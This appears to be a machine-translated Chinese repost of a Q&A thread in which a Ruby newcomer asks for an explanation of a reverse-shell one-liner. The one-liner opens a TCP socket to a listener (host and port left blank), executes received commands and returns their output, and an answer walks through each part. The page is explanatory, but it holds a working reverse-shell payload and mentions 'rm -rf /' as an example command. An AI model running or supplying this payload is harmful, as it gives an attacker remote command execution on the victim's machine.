热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Ruby单线故障?

如何解决《Ruby单线故障?》经验,为你挑选了1个好方法。

我是Ruby的新手,并试图更好地理解这个反向shell单线程,旨在连接回Netcat监听器.

有人可以尝试打破命令并解释一些代码实际上做了什么吗?例如,我知道"TCPSocket.new"创建了新的TCP套接字,但是什么是"cmd = c.gets","IO.popen","| io | c.print io.read"等等.什么是while循环的目的?

ruby -rsocket -e "c=TCPSocket.new('','');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

elliotcm.. 6

好吧,让我们打破这个.

ruby

运行ruby解释器,你可能知道那一部分

-rsocket

相当于require "socket"(r要求)

-e "some string"

some string作为ruby脚本运行(e用于执行)

while(cmd=c.gets)

正在说"while gets(获取字符串并包括下一个换行符)从连接中返回一些内容c,即当有数据进入时,将其分配给cmd和...

IO.popen(cmd,'r'){|io|c.print io.read}

.. cmd作为shell命令运行,读取输出,然后print返回到连接c.

因此,有效地,通过网络接收命令(如ls .rm -rf /),读取它,运行它,获取输出并将其发回.继续这样做,直到另一方停止发送命令.

因为gets会阻塞并等待下一行进来,这个单行将坐在那里等待连接关闭.

可能不希望让其他人在该连接上发送命令,因为它会直接在您的计算机上运行它们发送的任何内容,尽管这可能是"反向shell"的意思.



1> elliotcm..:

好吧,让我们打破这个.

ruby

运行ruby解释器,你可能知道那一部分

-rsocket

相当于require "socket"(r要求)

-e "some string"

some string作为ruby脚本运行(e用于执行)

while(cmd=c.gets)

正在说"while gets(获取字符串并包括下一个换行符)从连接中返回一些内容c,即当有数据进入时,将其分配给cmd和...

IO.popen(cmd,'r'){|io|c.print io.read}

.. cmd作为shell命令运行,读取输出,然后print返回到连接c.

因此,有效地,通过网络接收命令(如ls .rm -rf /),读取它,运行它,获取输出并将其发回.继续这样做,直到另一方停止发送命令.

因为gets会阻塞并等待下一行进来,这个单行将坐在那里等待连接关闭.

可能不希望让其他人在该连接上发送命令,因为它会直接在您的计算机上运行它们发送的任何内容,尽管这可能是"反向shell"的意思.


推荐阅读
  • 本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计,并以数字赋能和创新驱动高质量发展的理念,建设了集成、智慧、高效的一体化城市综合管理平台,促进了城市的数字化转型。该中心被称为当代城市的智能心脏,为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • Commit1ced2a7433ea8937a1b260ea65d708f32ca7c95eintroduceda+Clonetraitboundtom ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • Ihaveaworkfolderdirectory.我有一个工作文件夹目录。holderDir.glob(*)>holder[ProjectOne, ... [详细]
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • 本文介绍了三种方法来实现在Win7系统中显示桌面的快捷方式,包括使用任务栏快速启动栏、运行命令和自己创建快捷方式的方法。具体操作步骤详细说明,并提供了保存图标的路径,方便以后使用。 ... [详细]
  • 闭包一直是Java社区中争论不断的话题,很多语言都支持闭包这个语言特性,闭包定义了一个依赖于外部环境的自由变量的函数,这个函数能够访问外部环境的变量。本文以JavaScript的一个闭包为例,介绍了闭包的定义和特性。 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • 如何查询zone下的表的信息
    本文介绍了如何通过TcaplusDB知识库查询zone下的表的信息。包括请求地址、GET请求参数说明、返回参数说明等内容。通过curl方法发起请求,并提供了请求示例。 ... [详细]
  • 本文介绍了如何在Azure应用服务实例上获取.NetCore 3.0+的支持。作者分享了自己在将代码升级为使用.NET Core 3.0时遇到的问题,并提供了解决方法。文章还介绍了在部署过程中使用Kudu构建的方法,并指出了可能出现的错误。此外,还介绍了开发者应用服务计划和免费产品应用服务计划在不同地区的运行情况。最后,文章指出了当前的.NET SDK不支持目标为.NET Core 3.0的问题,并提供了解决方案。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
author-avatar
是你让我变得冷漠涡
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有